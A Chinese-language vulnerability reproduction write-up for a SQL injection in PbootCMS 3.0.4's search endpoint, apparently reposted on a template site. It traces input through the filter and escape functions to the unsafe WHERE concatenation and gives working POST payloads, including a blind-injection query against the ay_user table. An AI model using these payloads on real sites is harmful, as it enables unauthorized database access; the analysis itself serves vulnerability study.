pBootCMS 3.0.4 前臺(tái)注入漏洞復(fù)現(xiàn)
漏洞點(diǎn)跟進(jìn)
-
網(wǎng)上公布漏洞點(diǎn)在
/?p=search
,POST數(shù)據(jù):1=select 1
,
-
apps/home/controller/ParserController.php
的parserSearchLabel
函數(shù)

請求的數(shù)據(jù)賦值給$receive
進(jìn)行遍歷,$key
進(jìn)入request
函數(shù)進(jìn)行處理
-
跟進(jìn)
request
函數(shù),文件core/function/helper.php

標(biāo)定請求類型POST或GET
,構(gòu)造變量
$condition = array( 'd_source' => 'post', 'd_type' => 'vars', 'd_require' => false, $name => $key, 'd_default' => null );
傳遞給filter($name, $condition)
-
跟進(jìn)
filter
函數(shù),文件core/function/helper.php

賦值$data = @$_POST@[$varname];
,并進(jìn)行去空格處理

之后進(jìn)行類型檢測,正則匹配


可以看到注入字符串只能包含中文、字母、數(shù)字、橫線、點(diǎn)、逗號(hào)、空格。
最后進(jìn)行return escape_string($data);
處理。
-
繼續(xù)跟進(jìn)
escape_string
函數(shù)。文件core/function/handle.php

進(jìn)行了htmlspecialchars
和addslashes
轉(zhuǎn)義。
-
數(shù)據(jù)經(jīng)過一系列過濾后返回到
apps/home/controller/ParserController.php
文件的parserSearchLabel
函數(shù),賦值給$where3
數(shù)組。

-
繼續(xù)跟著變量
$where3
,進(jìn)入到讀取數(shù)據(jù)函數(shù)$data = $this->model->getList($scode, $num, $order, $where1, $where2, $where3, $fuzzy, $start, $lfield, $lg);
image-20211108162403932
-
跟進(jìn)
getList
函數(shù),文件apps/home/model/ParserModel.php
image-20211108162741457
函數(shù)中$select=$where3
,
-
繼續(xù)跟進(jìn)
$select
變量image-20211108162943901
進(jìn)入where
函數(shù)進(jìn)行處理
9.繼續(xù)跟進(jìn)where
函數(shù)

可以看到條件之間使用AND
進(jìn)行連接當(dāng)傳遞的參數(shù) $where
是一個(gè)數(shù)組時(shí)就遍歷數(shù)組,當(dāng)$where
是一個(gè)索引數(shù)組時(shí),則:$where_string.=$value
。故而可以控制$where3
為索引數(shù)組,進(jìn)而實(shí)現(xiàn)sql注入。
payload數(shù)據(jù)流跟蹤
-
進(jìn)行post請求搜索數(shù)據(jù)
1=1
時(shí),在$where3
變量下斷點(diǎn)image-20211108164300567
$where3=[1]
-
繼續(xù)跟蹤sql語句構(gòu)造,經(jīng)過一些類轉(zhuǎn)換形成了sql語句
SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 16:49:33' AND a.acode='cn' ) AND(1)
,最后時(shí)把輸入的1=1
轉(zhuǎn)換成了條件中的AND (1)
image-20211108165408166
-
查詢到所有信息
image-20211108165755096
-
當(dāng)post數(shù)據(jù)為
1=0
時(shí)沒抓到sql語句,用1=select 0
抓到sql語句為SELECT COUNT(*) AS sum FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_member_group f ON a.gid=f.id LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.status=1 AND d.type=2 AND a.date<'2021-11-08 17:00:56' AND a.acode='cn' ) AND(select 0)
同樣添加了AND(select 0)
語句,sql注入可行。image-20211108170258976

漏洞利用
-
post傳輸數(shù)據(jù)
1=select 1 from ay_user where username regexp 0x61
可以進(jìn)行盲注。image-20211108235622874
-
如果您的問題還未解決可以聯(lián)系站長付費(fèi)協(xié)助。

有問題可以加入技術(shù)QQ群一起交流學(xué)習(xí)
本站vip會(huì)員 請加入無憂模板網(wǎng) VIP群(50604020) PS:加入時(shí)備注用戶名或昵稱
普通注冊會(huì)員或訪客 請加入無憂模板網(wǎng) 技術(shù)交流群(50604130)
客服微信號(hào):15898888535
聲明:本站所有文章資源內(nèi)容,如無特殊說明或標(biāo)注,均為采集網(wǎng)絡(luò)資源。如若內(nèi)容侵犯了原著者的合法權(quán)益,可聯(lián)系站長刪除。